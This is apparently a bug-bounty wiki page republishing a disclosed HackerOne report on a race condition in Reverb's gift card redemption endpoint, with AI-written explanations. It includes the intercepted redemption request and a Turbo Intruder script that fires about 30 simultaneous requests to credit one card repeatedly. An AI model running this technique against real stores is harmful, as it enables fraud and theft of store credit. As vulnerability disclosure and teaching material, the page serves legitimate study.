Skip to content
Race condition Disclosed report Intermediate

Race Condition allows to redeem multiple times gift cards which leads to free "money"

A race condition in the gift card redemption endpoint allowed a single gift card to be redeemed multiple times concurrently, resulting in an inflated balance. An attacker could buy one gift card and redeem it repeatedly to obtain more credit than the card's value.

muon4 Follow

Originally disclosed on HackerOne

  • Triaged in 11 hours
  • Fixed in 3 days
  • Paid in 3 days
  • Disclosed after 40 days

Hello team!

I've found a Race Condition vulnerability which allows to redeem gift cards multiple times. This how a s/he can easily buy stuff just bying one gift card and redeem it over and over again.

Steps to reproduce

Preparations

  • Burp Suite Pro
  • Turbo Intruder

Note: This also can be reproduced other way but this is maybe the easiest

The attack

  • Login
  • Buy a gift card
  • Now redeem it at https://sandbox.reverb.com/<lang>/redeem
  • Intercept the request which will be following:
POST /fi/redeem HTTP/1.1
Host: sandbox.reverb.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://sandbox.reverb.com/fi/redeem
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
Connection: keep-alive
Cookie: <cookies>

utf8=%E2%9C%93&authenticity_token=<CSRF token>&token=<GIFT card>&commit=Redeem+Now
  • Send it to the turbo intruder
  • Use this python code as a payload of the turbo intruder
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False
                           )

   for i in range(30):
	engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
   engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
	table.add(req)
  • Now set the external HTTP header x-request: %s - This is needed by the turbo intruder
  • Click "Attack"
  • See multiple 200 OK responses:
reverb-ti.png
reverb-ti.png From the original on HackerOne
  • Check your Reverb bucks and see that you have a way more money than the gift card actually was worth of:
reverb.png
reverb.png From the original on HackerOne

In my case I bought one gift card which was worth of 25$ and as we can see from the picture I was able to redeem it 7 times which makes 25*7 = 175$.

If you need any information please let me know.

Cheers!

Impact

Race Condition can be used for get almost free stuff and steal money.

The original report as published on HackerOne, by muon4. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server did not properly lock or serialise the redemption process, allowing multiple concurrent requests to each validate and apply the same gift card before the balance was updated.

Impact

An attacker could obtain more store credit than the gift card's value, effectively getting free money or goods, as demonstrated by redeeming a $25 card seven times for $175.

What the attacker needed

A user account; purchase of a gift card; ability to send concurrent requests

How it was found

  1. Log in and buy a gift card.
  2. Go to the redeem page and intercept the redemption request.
  3. Send the request to Turbo Intruder and configure a payload that queues many concurrent requests.
  4. Set the external HTTP header x-request: %s as required by Turbo Intruder.
  5. Launch the attack and observe multiple 200 OK responses.
  6. Check the account balance to see the inflated amount.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A race condition happens when a system checks something and then acts on it, but another request can slip in between the check and the action. Here, the server checked the gift card balance and then added credit, but by sending many requests at the same moment, the same card was credited several times. This let the attacker get more money than the card was worth.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by muon4

View all

10 more disclosed reports, best first.

More from Reverb.com

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.